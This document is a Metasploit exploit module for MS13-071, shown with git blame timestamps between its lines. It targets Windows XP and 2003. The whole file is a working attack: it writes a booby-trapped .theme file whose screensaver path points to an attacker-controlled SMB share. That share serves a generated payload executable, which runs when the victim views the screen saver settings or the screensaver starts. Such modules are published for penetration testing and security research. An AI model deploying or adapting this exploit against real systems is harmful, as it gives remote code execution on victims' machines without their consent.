Files
metasploit-gs/modules/exploits/windows/fileformat/ms13_071_theme.rb
T

114 lines
3.6 KiB
Ruby
Raw Normal View History

2013-09-18 13:40:35 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-09-18 13:40:35 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-09-18 13:40:35 -05:00
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Remote::SMB::Server::Share
2013-09-18 13:40:35 -05:00
def initialize(info={})
super(update_info(info,
'Name' => "MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution",
'Description' => %q{
This module exploits a vulnerability mainly affecting Microsoft Windows XP and Windows
2003. The vulnerability exists in the handling of the Screen Saver path, in the [boot]
section. An arbitrary path can be used as screen saver, including a remote SMB resource,
which allows for remote code execution when a malicious .theme file is opened, and the
2013-09-23 13:48:23 -05:00
"Screen Saver" tab is viewed. The code execution is also triggered if the victim installs
2013-09-21 21:22:34 -05:00
the malicious theme and stays away from the computer, when Windows tries to display the
screensaver.
2013-09-18 13:40:35 -05:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'Eduardo Prado', # Vulnerability discovery
'juan vazquez', # Metasploit module
2015-03-04 10:33:57 -06:00
'Matthew Hall <hallm@sec-1.com>' # Metasploit module refactored to use Msf::Exploit::Remote::SMB::Server::Share
2013-09-18 13:40:35 -05:00
],
'References' =>
[
['CVE', '2013-0810'],
['OSVDB', '97136'],
2013-09-18 13:40:35 -05:00
['MSB', 'MS13-071'],
2013-09-21 21:22:34 -05:00
['BID', '62176'],
2013-10-01 20:50:16 -05:00
['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=1040'],
['URL', 'https://blog.rapid7.com/2013/09/25/change-the-theme-get-a-shell']
2013-09-18 13:40:35 -05:00
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'DefaultOptions' =>
{
'DisablePayloadHandler' => false
2013-09-18 13:40:35 -05:00
},
'Platform' => 'win',
'Targets' =>
[
['Windows XP SP3 / Windows 2003 SP2', {}],
],
'Privileged' => false,
'DisclosureDate' => "Sep 10 2013",
'DefaultTarget' => 0))
2015-03-04 10:46:34 -06:00
register_options(
2013-09-18 13:40:35 -05:00
[
2015-03-04 10:46:34 -06:00
OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr'])
])
2015-03-04 10:46:34 -06:00
2015-03-05 12:27:12 -06:00
deregister_options('FOLDER_NAME')
2015-03-04 10:46:34 -06:00
deregister_options('FILE_CONTENTS')
2013-09-18 13:40:35 -05:00
end
2015-03-04 10:46:34 -06:00
def primer
self.file_contents = generate_payload_exe
print_status("Malicious SCR available on #{unc}...")
2015-03-04 10:33:57 -06:00
2013-09-18 13:40:35 -05:00
# Default Windows XP / 2003 theme modified
2015-03-04 10:33:57 -06:00
print_status("Creating '#{datastore['FILENAME']}' file ...")
2013-09-18 13:40:35 -05:00
theme = <<-EOF
2013-09-23 14:22:11 -05:00
; Copyright (c) Microsoft Corp. 1995-2001
2013-09-18 13:40:35 -05:00
[Theme]
DisplayName=@themeui.dll,-2016
; My Computer
[CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\DefaultIcon]
DefaultValue=%WinDir%explorer.exe,0
; My Documents
[CLSID\\{450D8FBA-AD25-11D0-98A8-0800361B1103}\\DefaultIcon]
DefaultValue=%WinDir%SYSTEM32\\mydocs.dll,0
; My Network Places
[CLSID\\{208D2C60-3AEA-1069-A2D7-08002B30309D}\\DefaultIcon]
DefaultValue=%WinDir%SYSTEM32\\shell32.dll,17
; Recycle Bin
[CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\DefaultIcon]
full=%WinDir%SYSTEM32\\shell32.dll,32
empty=%WinDir%SYSTEM32\\shell32.dll,31
[Control Panel\\Desktop]
Wallpaper=
TileWallpaper=0
WallpaperStyle=2
Pattern=
ScreenSaveActive=0
[boot]
2015-03-04 10:33:57 -06:00
SCRNSAVE.EXE=#{unc}
2013-09-18 13:40:35 -05:00
[MasterThemeSelector]
MTSM=DABJDKT
EOF
file_create(theme)
end
end